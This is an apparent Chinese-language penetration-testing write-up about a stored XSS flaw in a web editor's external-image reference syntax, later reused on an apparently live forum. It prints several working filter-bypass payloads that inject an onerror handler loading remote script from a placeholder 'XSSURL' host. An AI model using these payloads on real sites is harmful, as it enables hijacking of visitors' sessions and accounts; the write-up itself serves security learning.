漏洞挖掘 | 一處圖片引用功能導致的XSS
- 2019 年 12 月 12 日
- 筆記
初步測試
一開始嘗試XSS,發現程式有過濾,提交均顯示Tags are not permitted,最後測出來的是過濾 < ,不過濾 >

因為提示速度比較快,猜測前端有一層檢測。嘗試繞過前端檢測,burp攔截正常提交的內容,替換xss payload後發送,發現會自動跳轉回首頁,由此發現程式後端也有內容檢測,這裡直接xss暫時行不通。
查看編輯器的其他功能:
圖片上傳: 可上傳aspx(其他可能解析後綴均已嘗試),不能解析並跳轉至首頁。 可上傳html並解析,這種方式構造的xss通常需要主動攻擊,且攻擊時易被管理員察覺到異常,暫不考慮。
表情功能:沒什麼可利用的。
柳暗花明又一村
當看到編輯器提示的 img 外部圖片引用方式時引起了我的注意,這裡感覺可以操作一下:

正常測試
先來看下正常引用方式時前端的顯示,鏈接被帶入到src中(logo前文字涉及域名,打碼):
[img|XSSURL|xxxxx Logo]

帶入payload
把xss payload 放在鏈接的位置再看一下:
常規的payload: <img src=x onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';> 構造的payload: [img|x onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';|xxxxx Logo]提交後審查元素髮現為如下顯示:

嘗試閉合
嘗試閉合 x 處的雙引號,讓 onerror 逃逸出來:
[img|x" onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';|hello]
這裡提交後發現payload並沒有執行成功,仔細看發現程式輸出時分別在 onerror= 和 ; 後面加了雙引號。
閉合成功
直接給個 > 讓它閉合,雖然成功載入了,但是頁面顯示會有錯誤,這樣十分容易被發現倪端,不夠完美。
[img|x" onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';>|hello]
換個思路通過閉合掉 ; 後面的雙引號,顯示效果如下:
[img|x" onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';"|hello]
最終在沒有任何錯誤內容顯示的情況下成功執行了xss payload:

看到這裡可能有人就會想,這種案例觸發的xss是不是很少存在,因為畢竟不是每個編輯器都用這種圖片外鏈引用方式,那麼請繼續看下面。
靈活運用
這幾天在搞一個gangdu的論壇,在回復功能處,又遇到了同樣的問題。
本來這個功能應該只能放圖片鏈接的,但是這裡插入的鏈接格式和內容並沒有做校驗。

x onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';這裡直接把payload放進去,看下前端顯示

同樣的思路,這裡直接閉合就好了
x" onerror="s=createElement('script');body.appendChild(s);s.src='XSSURL';
成功載入payload

平時滲透的時候,看到功能點不要上去就是蠻幹,先預想下這個功能是大概怎麼實現的,然後思路猥瑣一點,心細一點,往往會有意想不到的收穫的,就寫到這裡吧。

